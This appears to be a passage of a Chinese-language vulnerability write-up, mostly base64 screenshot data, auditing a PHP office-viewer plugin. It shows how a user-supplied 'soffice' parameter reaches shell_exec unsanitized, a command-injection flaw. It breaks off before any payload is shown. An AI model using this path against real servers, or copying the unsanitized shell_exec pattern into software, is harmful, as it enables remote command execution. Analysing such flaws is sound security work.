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 truncated
|
||||
<p blockindex=18><code>checkBin</code> 方法用于检查指定可执行文件是否可用。通过执行 <code>shell_exec</code> 来尝试运行指定的可执行文件。</p>
|
||||
<p blockindex=19>其中使用<code>shell_exec</code>函数执行了命令并将输出结果存储在<code>$result</code>变量中。</p>
|
||||
<p blockindex=20><img src="data:image/png;base64,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 truncated
|
||||
<pre blockindex=21><code class="hljs language-php"><span class=hljs-keyword>private</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>checkBin</span>(<span class=hljs-params><span class=hljs-variable>$bin</span>,<span class=hljs-variable>$check</span></span>)</span>{
|
||||
<span class=hljs-variable>$code</span> = Cache::get(<span class=hljs-variable>$bin</span>);
|
||||
<span class=hljs-keyword>if</span> (<span class=hljs-variable>$code</span>) <span class=hljs-keyword>return</span> <span class=hljs-variable>$code</span>;
|
||||
<span class=hljs-variable>$result</span> = shell_exec(<span class=hljs-variable>$bin</span>.<span class=hljs-string>' --help'</span>); <span class=hljs-comment>// ' 2>&1'</span>
|
||||
<span class=hljs-variable>$code</span> = strstr(<span class=hljs-variable>$result</span>,<span class=hljs-variable>$check</span>) ? <span class=hljs-literal>true</span> : <span class=hljs-literal>false</span>;
|
||||
Cache::set(<span class=hljs-variable>$bin</span>, <span class=hljs-variable>$code</span>);
|
||||
<span class=hljs-keyword>return</span> <span class=hljs-variable>$code</span>;
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=22>可以看到这里$bin可控。</p>
|
||||
<p blockindex=23>下面查看哪里调用了getSoffice(),找到函数check();</p>
|
||||
<p blockindex=24><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABhoAAAGUCAIAAABMUG/GAAAgAElEQVR4nOy9d3gbx5n4/w46dhcACVYR7J0UKZFqJNVsyVZ1kbsTt5wT23HO/trOJRcnZyfn5OLEFye5OMn9Ep9TLhc75c5OLFdZliVLlESJFCWKFEWxgR1EIQGi7KJjfn8ALCKxIMFOeT6PHz/iYDHzvu+8887g3dlZlJ6RDfNKXELisMk4v3USCAQCgUAgEAjXPJrU9IH+3qWWgkAgEAiE6REstQAEAoFAIBAIBAKBQCAQCISVBEknEQgEAoFAIBAIBAKBQCAQooCkkwgEAoFAIBAIBAKBQCAQCFFA0kkEAoFAIBAIBAKBQCAQCIQoIOkkAoFAIBAIBAKBQCAQCARCFJB0EoFAIBAIBAKBQCAQCAQCIQpESy0AgbBIYIjf+MAXb9uQJT7382dfb1lqcQgEAoFAIBAIBAKBQFipkN1J04AxKq3Y+NI+TTLGSy3LbFjp8kdGlrbp9kefvbsspJpm71ee+NyN+arwF4s23P3FSkHt719+5d3OxRORQCAQCAQCgUAgEAiEa47PUDoJY9nn79v/r6vRpPLKPbsPPn3TwadvevupDbuFU3MuSBWj0MRQzJxb37lr63//476DT9/09iOrS+Y7uYML1739YEFmmGrnR/4oJMHpKU83FmySzrkeVdLjjat3pPJdoFpz37PPPpDvrL+gDZWYmup08buf+vZTW5LDOLZcHSM1Nlc3dOqsnjnKRiAQCAQCgUAgEAgEwmcZ8rAbnD9x4itnAFRZz99GT/0UocDJj46eBAA0OQ8VHQnpdxXC8berP7L5APuMc6orCuZN/mUGpjY98Nh29u3v/Phjw5hqnoFzf/vFla5Hv/v4Yzd1fPcdw9UqO+wcpmglgGUpBCYQCAQCgUAgEAgEAuGaYQWnkzCW3Xf/zoKuS47sgo2qwIC29WeH+3oDCGPmCw9tTz/3wfdbAABKrt/5bdmlew+NJnAUqV+7r2CTCg9or/z04/7+API4XTonYIEvMKWJbfv3fT1PAAB4uO3JP7b1j6YnsIDZtWP1XTkxscit7Wj/9bH+nsB0yRqxUIrZ1l67LlgJ4pVzTC9nTsE6hX9A2/qTj/oHAPG1y6zZ9MaOhGAjrzyTCwBYf/lLf9EOI8Qrv1hx6w0lt2YoGb/z8uXLvzxlsiAUoV3eLhDmxR94Pq2kSIzMbNN/dR18y+kfvT72jtx/eiI2xuNs/mXb/73lCSAAwOLCpNue1xQXiMDoqP9Zx3uHvUG9ItQT6muJ4sDfirMON/3iFWcAAQBded1aZ/VLRwyT0mQIOS7876Hu/9i1NeOdt3qvlpZ1OGlm0XZpEQgEAoFAIBAIBAKBcK2y4h92y8lQNH9a89z7Wltq6WOlsmmvz81UXj5+5rkPtLa00sdLprm+7tixr/z3J0+dNE0sxBjnV637isb59vunv/Vehyml9J8rlBEqwVmlrz+57293ZMYJkr/2//a/9eS+tx4uXj3dw245GYpLx84891G/P7v0yyWSCO2yrY1Pv3H86Wojtva89Mbxp984/syhfnMk+aF08/qH1LY/vXPqO5/0S0vKv1IkjtAur14Y6D0/yck2DLzxD81//I0r+7m8XSVjnzL5+faDX27+67u4+LmcjQkAgLGA2fuTtISG7t8/2Pznv/hKfpBdmTxtPUFQ5jM5m7y6N3/lHE3bpaVoAl3t2rDZLmtrpykxJU14lbQgSk5NFJoMpjBfIBAIBAKBQCAQCAQCgRAFK3h3UpDBto4PB9wAjrc6s55PiYGLhplf/1yKChojPXbmcrp0ThC7Ju1bkq1LY5ovnD404AOw//YU9XiCVIZtLr6nyfranvtLF1Jnv7BL+ve/tlwEAJ9nYDq99O2d7w+4MLb9rSvjiWQVXBribdft6nYDjveD3ztosneP7n7il59Zly6/UNd8bBAAHH9uzXg+Uw1XjPzt8pEak5NpPXm/qdMOcLn3g9RMTRzCoTyZ69JvDZ39GDcPlNyTk1YMZ08A5MTmx498+LKlFwFc6Tt/+5qCSqh5GyAtQj0AgEVlGXfei2se6e/3jO1FkkrFLifHIxjnciKpTA7AAgAWbX/mV18oRgKfqe6N/3jXeG099EcgEAgEAoFAIBAIBMLis+LTSaw7dKwy5/ZLFcLIF0+6XqaYnfpSpRyzbi8AAgCrtu3ftZFOJkI+d8+QG4u9fiQ0TUz3RNyf5HC5AQAhZHf5xTLBLNrlR6KQ+Vk3DtXj8spjpSKMvbzt8qEW0wG/0xasx3f5Zx2Xx/Xysaaglj43K5DLQtdT8rj7zscFRUZipJVNWw+z62DFDUKET7R/dH6ismg6xccv8J17/XtdcqE85bqHHnxoZ9PLn9hIRolAIBAIBAKBQCAQCIQ5sOLTSYQVhc389pcG+kf/cg9O+3477vTTHRfS0h75asL6RPPZ8SfVAoGAAPFlu5BAADjgC/0B3HAfBwB9jPb+L2enwSfNc1KBQCAQCAQCgUAgEAiEzzor/uwkWho634eSCl2eYAbB43ADIwueNwRKmcjh8oa93u31j1eEA9OmNkZx25yIlobOG4rNK/rO5gTZdGchhSOSnFG3O/Ugcf527S4hLQ3t0FHJxJzT7ZvNhh2zlxUI5argH6I138zftxNFsoPZy1HIp3XqW536VifrwQE/QihyPQG22znw5+5qrWrHk0rheOV2ByePUYvDNxenUnnsNtekUkRTchfHRq8ngUAgEAgEAoFAIBAIhIms+HRSSl7uPg2Tk5F1Z660Y9AKAAh5GnrtuWuKdmsUBXmFd2X7L/Vax68vGL++XTcyXpHDNRyIWVek1KhkKSopI8AYg0opS1HJUmQCEIgTYuQpKplSgAFc5/vY1eXFezRMtibtS5szEwMu3oOT+IksZzgitsu6LMrYrenKzHgmUyECAH75Hed7nWXrVl+/isnLyv58gaipyxKt8AAA0D+i7VFtfT4hp4jKvidjz92ygB5HskOnpU0fu/M7CVmFVM7ncv/xzZwy9QzrcR//mQluSb8uZ6ykr7Wdy1u3Mdx72kRFG0tobUfb5EwTraCFDrt9VqoSCAQCgUAgEAgEAoFAGGPFP+zW3mMrub7qYVWgX3vpZ02u4Pk7nXUXfqMsufvmzYyfa6y78NtO/9ixO5099jU7qh5WXnU9AIBX98bJpK9u2fpLKULAvvmnT/9oir3/nqo9dPCChBf+IQtj56G3Pvn1AGo7U/+qvOSum7eowN3V2fhynQ3CvmJsOiLIORWEIrbbr/2f9nVfvHXb3SKEuy/e+XafD9Q88kPT6fo/3lDywK1baL+zufH8r1o9sziDCSFgP/p6l+w5zQP/I4Zh9tKL7Z80R7ADQgHH4a/3UM9rHvqjGBsdjd/prO4NnnE0bT3If6bvaF35vmfUZ/6fmUMA4Lv4/pHBF+56ZFfXf3486JtwsWrtAw9uh1OvnLBOlsXt8mCVJkMlGLbNYisZgUAgEAgEAoFAIBAIhBAoPSN7fmuMS0gcNkV6Xdp8gbHsvvt35l384HvkLJzPJJguvPPp/3dj3MD7//ni+1oEAOrKR//pgY3Q8PtXfnfaFJic2MLivANfe/LmPOXIsR994/WWpRCZQCAQCAQCIRKa1PSB/t6lloJAIBAIhOlZ8buTECCI/I40wjUKYq+89eJXT5Vu1oweORWwtrz94z/Xd9nDPnOHvO0Hf/jMoZgENYxM/ZRAIBAIBAKBQCAQCATCDFnx6STCZxmEPIZLnxpGn2obaTl5DiDiA4PYYzXqF0k6AoFAIBAIBAKBQCAQrk1WcDoJIdef//TBUktBIBAIBAKBQCAQCAQCgfDZYsW/2Y1AIBAIBAKBQCAQCAQCgbCYkHQSgUAgEAgEAoFAIBAIBAIhClZkOikuIXGpRSAQCAQCgUAgEAgEAoFA+IyyItNJBAKBQCAQCAQCgUAgEAiEpYKkkwgEAoFAIBAIBAKBQCAQCFGwgt/stmiI4ysKfbVNI3ipBZmGlSInYVmBqeQMha3XwC21IAQCgUAgEAgEAoFAWHa8/q+FYcvJ7qTpkcaXFccKl1qK6VkpckYFrnzi1dd+++prv331xbvT8TWeKcOy6/8pqOxr37sleZGUFcRmJjH+xWlrLmAsSyiq2nzjLTvLU5ZaFgKBQCAQwiNUZ+VlJ0iWzYpluckzX1yrei00C223ldIvxA6zY6XotVLkvDYgu5MigTGKXbW1ShOfENhf4ayuHTRjhKb7iiCz9OHrmIvv1NSNTHfxEsrJX9XCyo+xoKTsqc8pan9Zfcowk/qRSGQ59Z+/+NjosernXZrowRjF7a0qiO9veL3HOe/2cdX94XudcuG6B79TIVx438EYqMSs9PQ4eSBfY74yYPHOoSpBXNGWXHlv0/nu+TcLAABIMjeUabytDSeG7PaFqH9JWAS7zQsrRc5rlWvV/teqXvMFsc9KBGM6Y3VZvOFI+/LosuUmz3xxreq10Cy03VZKvxA7zI7F12t28+C1av8l54HvXglbTnYnRUKeevcXKtcz2OfH6vItj9+ikQMAxnFb9/zw3iy+TJyIohLUyljZUssZBKc/+K19exMmZGeXWn6xikleFRNHz/wbPoext7ffYPNNCAoYS7KfvG3nbXFzlAYDlXLvjhtfPHDzj2+/6dtrY0cNxVcOgCSxSiaBlsyx3XDyI2CH+/r6BqyeuVU+MwGQqmBnZckqhRw7A4mFVVWp0nEniVm978Z1GnyV2ySv2b+/SM2X5mdiElQyAfYtmMCx6jjXYHvvkJVzB+a98uj1jQTGgtTKO6rymeCfVO7OPVVZwvB3SKKz21Q5AQAp0oqq9uzYd9uNu24ozVAgHKkfZ1H/LOS8VlnRfrIsIX4FAIAxUmZsqNx16+5b7thTOdEHVrZ9ZuiHGIszt9yx99Y79956555dZTGL67cYxxXvvmNjlqLine truncated
|
||||
<pre blockindex=25><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>check</span>(<span class=hljs-params></span>)</span>{
|
||||
<span class=hljs-variable>$bin</span> = <span class=hljs-keyword>$this</span>->in[<span class=hljs-string>'soffice'</span>];
|
||||
<span class=hljs-comment>//从 HTTP 请求中获取名为 `soffice` 的参数并将其值赋给变量 $bin</span>
|
||||
<span class=hljs-variable>$plugin</span> = Action(<span class=hljs-keyword>$this</span>->pluginName);
|
||||
<span class=hljs-keyword>if</span>(!<span class=hljs-keyword>empty</span>(<span class=hljs-variable>$bin</span>)) {
|
||||
<span class=hljs-variable>$plugin</span>->setConfig(<span class=hljs-keyword>array</span>(<span class=hljs-string>'lbSoffice'</span> => <span class=hljs-variable>$bin</span>));
|
||||
}
|
||||
<span class=hljs-keyword>if</span>(<span class=hljs-keyword>isset</span>(<span class=hljs-variable>$_GET</span>[<span class=hljs-string>'check'</span>])){
|
||||
<span class=hljs-keyword>if</span>(!function_exists(<span class=hljs-string>'shell_exec'</span>)) {
|
||||
show_json(LNG(<span class=hljs-string>'officeViewer.libreOffice.execDisabled'</span>), <span class=hljs-literal>false</span>);
|
||||
}
|
||||
<span class=hljs-variable>$msg</span> = <span class=hljs-string>''</span>;
|
||||
<span class=hljs-keyword>if</span>(!<span class=hljs-variable>$soffice</span> = <span class=hljs-keyword>$this</span>->getSoffice()) {
|
||||
<span class=hljs-variable>$msg</span> = LNG(<span class=hljs-string>'officeViewer.libreOffice.checkError'</span>);
|
||||
}
|
||||
